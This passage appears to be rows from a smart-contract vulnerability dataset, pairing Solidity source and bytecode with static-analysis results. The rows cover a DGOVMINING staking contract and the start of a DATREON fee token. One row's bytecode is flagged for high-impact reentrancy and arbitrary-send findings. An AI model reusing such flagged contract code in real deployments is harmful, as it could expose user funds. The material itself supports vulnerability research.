12b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960028461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660088461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220895f96f3db99c8fd2b24006a43b32ef4f75a1777381089cdb1965fa63561874c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,612 |
0xbe5c525c87f513149fa80b0e2e857d9ddacfa908
|
pragma solidity >=0.4.22 <0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
* Forked from AmplGeyser*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DGOVMINING {
using SafeMath for uint256;
IERC20 public DistributionToken; //0x3087d935aa27128be399851bf8dbf6a40a9964fb
event TokensClaimed(address indexed user, uint256 amount);
event CheckIn(address indexed user);
//
// Global accounting state
//
uint256 public globalShares = 0;
uint256 private globalSeconds = 0;
uint256 private _lastGlobalTimestampSec = now;
uint256 private _iniTimestampSec = now;
uint256 private _totalclaimed =0;
uint256 private _baseShare = 1;
uint256 private _lockingPeriod = 600;
uint256 private _iniSharesPerToken = 1 * (10**17);
uint256 private _totalUnlockedToken = 15000000 * (10**18);
// If lastTimestampSec is 0, there's no entry for that user.
struct UserRecords {
uint256 stakingShares;
uint256 stakingShareSeconds;
uint256 lastTimestampSec;
}
// Aggregated staking values per user
mapping(address => UserRecords) private _userRecords;
/**
* @param distributionToken The token users receive as they unstake.
*/
constructor(IERC20 distributionToken) public {
DistributionToken = distributionToken;
}
function initialTimestampSec() public view returns (uint256) {
return _iniTimestampSec;
}
function userTimestampSec() public view returns (uint256) {
return _userRecords[msg.sender].lastTimestampSec;
}
function userShares() public view returns (uint256) {
return _userRecords[msg.sender].stakingShares;
}
function userShareSeconds() public view returns (uint256) {
return _userRecords[msg.sender].stakingShareSeconds;
}
function globalShareSeconds() public view returns (uint256) {
return globalSeconds;
}
function totalDistributionToken() public view returns (uint256) {
return DistributionToken.balanceOf(address(this));
}
function totalClaimedTokens() public view returns (uint256) {
return _totalclaimed;
}
/**
*@dev Start the mining process
*/
function Mining() external {
// User Accounting
UserRecords storage totals = _userRecords[msg.sender];
uint256 waitingPeriod = now.sub(totals.lastTimestampSec);
require(waitingPeriod > _lockingPeriod,"Doro.Network: must be 10-minute average interval");
//User Accounting
uint256 newUserSeconds =
now
.sub(totals.lastTimestampSec)
.mul(totals.stakingShares);
totals.stakingShareSeconds =totals.stakingShareSeconds.add(newUserSeconds);
totals.stakingShares = totals.stakingShares.add(_baseShare);
totals.lastTimestampSec = now;
// 2. Global Accounting
uint256 newStakingShareSeconds =
now
.sub(_lastGlobalTimestampSec)
.mul(globalShares);
globalSeconds = globalSeconds.add(newStakingShareSeconds);
_lastGlobalTimestampSec = now;
globalShares = globalShares.add(_baseShare);
emit CheckIn(msg.sender);
}
/*User Claim Token */
function claimTokens () external {
require(_totalclaimed <= _totalUnlockedToken,"Doro.Network:15 Millions Tokens have been mined");
// User Accounting
UserRecords storage totals = _userRecords[msg.sender];
require(totals.stakingShares >0,"Doro.Network: User has no mining power.");
uint256 claimInterval = now.sub(totals.lastTimestampSec);
require(claimInterval > _lockingPeriod, "Doro.Network:must be 10-minute average interval");
// Global accounting
uint256 UnlockedTokens =now.sub(_iniTimestampSec).mul(_iniSharesPerToken);
UnlockedTokens =(_totalclaimed>0)? UnlockedTokens.sub(_totalclaimed):UnlockedTokens;
uint256 newGlobalSeconds =
now
.sub(_lastGlobalTimestampSec)
.mul(globalShares);
globalSeconds = globalSeconds.add(newGlobalSeconds);
_lastGlobalTimestampSec = now;
// User Accounting
uint256 newUserSeconds =
now
.sub(totals.lastTimestampSec)
.mul(totals.stakingShares);
totals.stakingShareSeconds =
totals.stakingShareSeconds
.add(newUserSeconds);
uint256 totalUserRewards = (globalSeconds > 0)
? UnlockedTokens.mul(totals.stakingShareSeconds).div(globalSeconds)
: 0;
globalSeconds = globalSeconds.sub(totals.stakingShareSeconds);
globalShares = globalShares.sub(totals.stakingShares);
_totalclaimed = _totalclaimed.add(totalUserRewards);
totals.stakingShareSeconds =0;
totals.stakingShares = 0;
totals.lastTimestampSec = now;
require(DistributionToken.transfer(msg.sender, totalUserRewards),
'Doro.Network: transfer out of distribution token failed');
emit TokensClaimed(msg.sender, totalUserRewards);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063594e050711610071578063594e0507146101305780638ad38f141461014e578063b1392b4b1461016c578063c6cee0f0146101b6578063ec7a2e5f146101c0578063fcb56f47146101de576100a9565b8063092d9480146100ae5780630db8d01e146100cc5780631d9e9cf4146100ea5780632e2720b11461010857806348c54b9d14610126575b600080fd5b6100b66101fc565b6040518082815260200191505060405180910390f35b6100d46102dc565b6040518082815260200191505060405180910390f35b6100f2610326565b6040518082815260200191505060405180910390f35b610110610330565b6040518082815260200191505060405180910390f35b61012e61033a565b005b6101386107e4565b6040518082815260200191505060405180910390f35b6101566107ea565b6040518082815260200191505060405180910390f35b610174610834565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101be610859565b005b6101c8610a40565b6040518082815260200191505060405180910390f35b6101e6610a8a565b6040518082815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561029c57600080fd5b505afa1580156102b0573d6000803e3d6000fd5b505050506040513d60208110156102c657600080fd5b8101908080519060200190929190505050905090565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154905090565b6000600454905090565b6000600254905090565b6009546005541115610397576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180610dbd602f913960400191505060405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610437576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180610e0d6027913960400191505060405180910390fd5b6000610450826002015442610a9490919063ffffffff16565b905060075481116104ac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180610e34602f913960400191505060405180910390fd5b60006104d76008546104c960045442610a9490919063ffffffff16565b610ade90919063ffffffff16565b90506000600554116104e957806104ff565b6104fe60055482610a9490919063ffffffff16565b5b9050600061052c60015461051e60035442610a9490919063ffffffff16565b610ade90919063ffffffff16565b905061054381600254610b6490919063ffffffff16565b60028190555042600381905550600061057f8560000154610571876002015442610a9490919063ffffffff16565b610ade90919063ffffffff16565b9050610598818660010154610b6490919063ffffffff16565b8560010181905550600080600254116105b25760006105de565b6105dd6002546105cf886001015487610ade90919063ffffffff16565b610bec90919063ffffffff16565b5b90506105f98660010154600254610a9490919063ffffffff16565b6002819055506106188660000154600154610a9490919063ffffffff16565b60018190555061063381600554610b6490919063ffffffff16565b60058190555060008660010181905550600086600001819055504286600201819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106fe57600080fd5b505af1158015610712573d6000803e3d6000fd5b505050506040513d602081101561072857600080fd5b810190808051906020019092919050505061078e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180610e636037913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f896e034966eaaf1adc54acc0f257056febbd300c9e47182cf761982cf1f5e430826040518082815260200191505060405180910390a2505050505050565b60015481565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060006108b5826002015442610a9490919063ffffffff16565b90506007548111610911576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180610e9a6030913960400191505060405180910390fd5b60006109408360000154610932856002015442610a9490919063ffffffff16565b610ade90919063ffffffff16565b9050610959818460010154610b6490919063ffffffff16565b836001018190555061097a6006548460000154610b6490919063ffffffff16565b836000018190555042836002018190555060006109b66001546109a860035442610a9490919063ffffffff16565b610ade90919063ffffffff16565b90506109cd81600254610b6490919063ffffffff16565b600281905550426003819055506109f1600654600154610b6490919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fbb83d92a935a414e89296bf0ca096d25ad231da5a7cda008d1e21095e4dd2f0360405160405180910390a250505050565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905090565b6000600554905090565b6000610ad683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c36565b905092915050565b600080831415610af15760009050610b5e565b6000828402905082848281610b0257fe5b0414610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610dec6021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015610be2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610c2e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610cf6565b905092915050565b6000838311158290610ce3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ca8578082015181840152602081019050610c8d565b50505050905090810190601f168015610cd55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290610da2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d67578082015181840152602081019050610d4c565b50505050905090810190601f168015610d945780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610dae57fe5b04905080915050939250505056fe446f726f2e4e6574776f726b3a3135204d696c6c696f6e7320546f6b656e732068617665206265656e206d696e6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77446f726f2e4e6574776f726b3a205573657220686173206e6f206d696e696e6720706f7765722e446f726f2e4e6574776f726b3a6d7573742062652031302d6d696e757465206176657261676520696e74657276616c446f726f2e4e6574776f726b3a207472616e73666572206f7574206f6620646973747269627574696f6e20746f6b656e206661696c6564446f726f2e4e6574776f726b3a206d7573742062652031302d6d696e757465206176657261676520696e74657276616ca265627a7a723158204932f54ef21311f17424f451da2ee5aca1509a87414c1a618f7634239f20473664736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 8,613 |
0xbd38da98a1ac98fb8850c6ad32db5b7fee318c5b
|
/*
https://t.me/datreon
https://datreon.media/
https://twitter.com/DatreonETH
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DATREON is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"DATREON";
string public constant symbol = unicode"DAT";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 11;
uint public _sellFee = 11;
uint private _feeRate = 15;
uint public _maxBuyTokens;
